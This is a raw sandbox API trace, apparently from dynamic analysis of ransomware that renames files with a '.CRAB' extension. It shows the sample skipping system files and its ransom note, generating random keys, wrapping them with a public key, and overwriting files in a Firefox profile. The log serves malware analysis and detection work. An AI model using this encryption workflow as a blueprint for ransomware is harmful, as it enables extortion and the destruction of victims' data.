	[0123.096] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0123.096] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\upgrade.js-20170518000419") returned 126
	[0123.096] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\upgrade.js-20170518000419") returned 126
	[0123.096] lstrlenW (lpString=".js-20170518000419") returned 18
	[0123.096] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0123.096] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".js-20170518000419 ") returned 19
	[0123.096] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.096] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\upgrade.js-20170518000419") returned 126
	[0123.096] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\upgrade.js-20170518000419") returned 126
	[0123.096] lstrcmpiW (lpString1="upgrade.js-20170518000419", lpString2="desktop.ini") returned 1
	[0123.096] lstrcmpiW (lpString1="upgrade.js-20170518000419", lpString2="autorun.inf") returned 1
	[0123.096] lstrcmpiW (lpString1="upgrade.js-20170518000419", lpString2="ntuser.dat") returned 1
	[0123.097] lstrcmpiW (lpString1="upgrade.js-20170518000419", lpString2="iconcache.db") returned 1
	[0123.097] lstrcmpiW (lpString1="upgrade.js-20170518000419", lpString2="bootsect.bak") returned 1
	[0123.097] lstrcmpiW (lpString1="upgrade.js-20170518000419", lpString2="boot.ini") returned 1
	[0123.097] lstrcmpiW (lpString1="upgrade.js-20170518000419", lpString2="ntuser.dat.log") returned 1
	[0123.097] lstrcmpiW (lpString1="upgrade.js-20170518000419", lpString2="thumbs.db") returned 1
	[0123.097] lstrcmpiW (lpString1="upgrade.js-20170518000419", lpString2="CRAB-DECRYPT.txt") returned 1
	[0123.097] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0123.097] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\upgrade.js-20170518000419.CRAB") returned 131
	[0123.097] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\upgrade.js-20170518000419" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\sessionstore-backups\\upgrade.js-20170518000419")) returned 0x20
	[0123.097] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\upgrade.js-20170518000419", dwFileAttributes=0x20) returned 1
	[0123.098] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\upgrade.js-20170518000419" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\sessionstore-backups\\upgrade.js-20170518000419"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\upgrade.js-20170518000419.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\sessionstore-backups\\upgrade.js-20170518000419.crab")) returned 1
	[0123.098] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0123.098] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\upgrade.js-20170518000419.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\upgrade.js-20170518000419.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\upgrade.js-20170518000419.CRAB"
	[0123.099] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\upgrade.js-20170518000419.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\upgrade.js-20170518000419.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\upgrade.js-20170518000419.CRAB.CRAB"
	[0123.099] CryptAcquireContextW (in: phProv=0x31492e8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x31492e8*=0xd6e6b0) returned 1
	[0123.099] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0123.099] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0123.100] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0123.100] CryptGenRandom (in: hProv=0xd6e6b0, dwLen=0x10, pbBuffer=0x3149424 | out: pbBuffer=0x3149424) returned 1
	[0123.100] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0123.100] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.100] CryptAcquireContextW (in: phProv=0x31492e8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x31492e8*=0xd6e408) returned 1
	[0123.100] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0123.101] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0123.101] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0123.101] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x3149400 | out: pbBuffer=0x3149400) returned 1
	[0123.101] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0123.101] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.101] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0123.102] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0123.102] CryptAcquireContextW (in: phProv=0x31492d8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x31492d8*=0xd6e6b0) returned 1
	[0123.102] CryptImportKey (in: hProv=0xd6e6b0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x31492d4 | out: phKey=0x31492d4*=0x3165798) returned 1
	[0123.102] CryptGetKeyParam (in: hKey=0x3165798, dwParam=0x8, pbData=0x31492c4, pdwDataLen=0x31492cc, dwFlags=0x0 | out: pbData=0x31492c4*=0x800, pdwDataLen=0x31492cc*=0x4) returned 1
	[0123.102] CryptEncrypt (in: hKey=0x3165798, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3149434*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3149434*=0x100) returned 1
	[0123.103] GetLastError () returned 0x0
	[0123.103] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0123.103] CryptAcquireContextW (in: phProv=0x31492d8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x31492d8*=0xd6e738) returned 1
	[0123.103] CryptImportKey (in: hProv=0xd6e738, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x31492d4 | out: phKey=0x31492d4*=0x31657d8) returned 1
	[0123.103] CryptGetKeyParam (in: hKey=0x31657d8, dwParam=0x8, pbData=0x31492c4, pdwDataLen=0x31492cc, dwFlags=0x0 | out: pbData=0x31492c4*=0x800, pdwDataLen=0x31492cc*=0x4) returned 1
	[0123.103] CryptEncrypt (in: hKey=0x31657d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3149438*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3149438*=0x100) returned 1
	[0123.104] GetLastError () returned 0x0
	[0123.104] CryptReleaseContext (hProv=0xd6e738, dwFlags=0x0) returned 1
	[0123.104] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\upgrade.js-20170518000419.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\sessionstore-backups\\upgrade.js-20170518000419.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d8
	[0123.104] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0123.104] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0123.104] ReadFile (in: hFile=0x3d8, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314947c, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314947c*=0xa9b2, lpOverlapped=0x0) returned 1
	[0123.130] VirtualAlloc (lpAddress=0x0, dwSize=0xa9c0, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0123.131] VirtualAlloc (lpAddress=0x0, dwSize=0xa9c0, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0123.132] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.132] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0xffff564e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.132] WriteFile (in: hFile=0x3d8, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0xa9c0, lpNumberOfBytesWritten=0x314946c, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x314946c*=0xa9c0, lpOverlapped=0x0) returned 1
	[0123.133] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.133] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.136] WriteFile (in: hFile=0x3d8, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314946c, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x314946c*=0x100, lpOverlapped=0x0) returned 1
	[0123.136] WriteFile (in: hFile=0x3d8, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314946c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314946c*=0x100, lpOverlapped=0x0) returned 1
	[0123.136] WriteFile (in: hFile=0x3d8, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314946c, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x314946c*=0x8, lpOverlapped=0x0) returned 1
	[0123.136] CloseHandle (hObject=0x3d8) returned 1
	[0123.137] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.137] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.137] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.137] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.137] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.138] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.138] FindNextFileW (in: hFindFile=0x31655d8, lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 0
	[0123.138] FindClose (in: hFindFile=0x31655d8 | out: hFindFile=0x31655d8) returned 1
	[0123.138] FindNextFileW (in: hFindFile=0xded3e8, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0123.138] lstrcmpW (lpString1="sessionstore.js", lpString2=".") returned 1
	[0123.138] lstrcmpW (lpString1="sessionstore.js", lpString2="..") returned 1
	[0123.138] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="sessionstore.js" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore.js") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore.js"
	[0123.138] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0123.138] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore.js") returned 95
	[0123.138] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore.js") returned 95
	[0123.139] lstrlenW (lpString=".js") returned 3
	[0123.139] VirtualAlloc (lpAddress=0x0, dwSize=0xa, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0123.139] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".js ") returned 4
	[0123.139] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.139] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore.js") returned 95
	[0123.139] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore.js") returned 95
	[0123.139] lstrcmpiW (lpString1="sessionstore.js", lpString2="desktop.ini") returned 1
	[0123.139] lstrcmpiW (lpString1="sessionstore.js", lpString2="autorun.inf") returned 1
	[0123.139] lstrcmpiW (lpString1="sessionstore.js", lpString2="ntuser.dat") returned 1
	[0123.139] lstrcmpiW (lpString1="sessionstore.js", lpString2="iconcache.db") returned 1
	[0123.139] lstrcmpiW (lpString1="sessionstore.js", lpString2="bootsect.bak") returned 1
	[0123.139] lstrcmpiW (lpString1="sessionstore.js", lpString2="boot.ini") returned 1
	[0123.139] lstrcmpiW (lpString1="sessionstore.js", lpString2="ntuser.dat.log") returned 1
	[0123.139] lstrcmpiW (lpString1="sessionstore.js", lpString2="thumbs.db") returned -1
	[0123.139] lstrcmpiW (lpString1="sessionstore.js", lpString2="CRAB-DECRYPT.txt") returned 1
	[0123.139] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0123.140] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore.js.CRAB") returned 100
	[0123.140] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore.js" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\sessionstore.js")) returned 0x20
	[0123.141] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore.js", dwFileAttributes=0x20) returned 1
	[0123.141] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore.js" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\sessionstore.js"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore.js.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\sessionstore.js.crab")) returned 1
	[0123.142] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0123.142] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore.js.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore.js.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore.js.CRAB"
	[0123.142] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore.js.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore.js.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore.js.CRAB.CRAB"
	[0123.142] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6e9e0) returned 1
	[0123.142] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0123.143] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0123.143] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0123.143] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x10, pbBuffer=0x3149ecc | out: pbBuffer=0x3149ecc) returned 1
	[0123.143] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0123.143] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.143] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6e408) returned 1
	[0123.144] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0123.144] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0123.144] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0123.144] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x3149ea8 | out: pbBuffer=0x3149ea8) returned 1
	[0123.144] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0123.144] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.147] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0123.147] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0123.148] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6ed98) returned 1
	[0123.148] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0x31655d8) returned 1
	[0123.148] CryptGetKeyParam (in: hKey=0x31655d8, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0123.148] CryptEncrypt (in: hKey=0x31655d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3149edc*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3149edc*=0x100) returned 1
	[0123.148] GetLastError () returned 0x0
	[0123.148] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0123.149] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6e5a0) returned 1
	[0123.149] CryptImportKey (in: hProv=0xd6e5a0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0x31669e0) returned 1
	[0123.149] CryptGetKeyParam (in: hKey=0x31669e0, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0123.149] CryptEncrypt (in: hKey=0x31669e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3149ee0*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3149ee0*=0x100) returned 1
	[0123.149] GetLastError () returned 0x0
	[0123.149] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0123.149] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore.js.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\sessionstore.js.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e0
	[0123.150] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0123.150] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0123.150] ReadFile (in: hFile=0x3e0, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3149f24, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x3149f24*=0x3da, lpOverlapped=0x0) returned 1
	[0123.173] VirtualAlloc (lpAddress=0x0, dwSize=0x3e0, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0123.173] VirtualAlloc (lpAddress=0x0, dwSize=0x3e0, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0123.174] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.174] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffffc26, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.174] WriteFile (in: hFile=0x3e0, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0x3e0, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x3149f14*=0x3e0, lpOverlapped=0x0) returned 1
	[0123.174] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.174] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.178] WriteFile (in: hFile=0x3e0, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0123.178] WriteFile (in: hFile=0x3e0, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0123.178] WriteFile (in: hFile=0x3e0, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x3149f14*=0x8, lpOverlapped=0x0) returned 1
	[0123.178] CloseHandle (hObject=0x3e0) returned 1
	[0123.178] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.178] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.179] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.179] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.179] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.179] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.179] FindNextFileW (in: hFindFile=0xded3e8, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0123.179] lstrcmpW (lpString1="SiteSecurityServiceState.txt", lpString2=".") returned 1
	[0123.180] lstrcmpW (lpString1="SiteSecurityServiceState.txt", lpString2="..") returned 1
	[0123.180] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="SiteSecurityServiceState.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\SiteSecurityServiceState.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\SiteSecurityServiceState.txt"
	[0123.180] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0123.180] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\SiteSecurityServiceState.txt") returned 108
	[0123.180] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\SiteSecurityServiceState.txt") returned 108
	[0123.180] lstrlenW (lpString=".txt") returned 4
	[0123.180] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0123.180] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0123.180] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.180] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\SiteSecurityServiceState.txt") returned 108
	[0123.181] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\SiteSecurityServiceState.txt") returned 108
	[0123.181] lstrcmpiW (lpString1="SiteSecurityServiceState.txt", lpString2="desktop.ini") returned 1
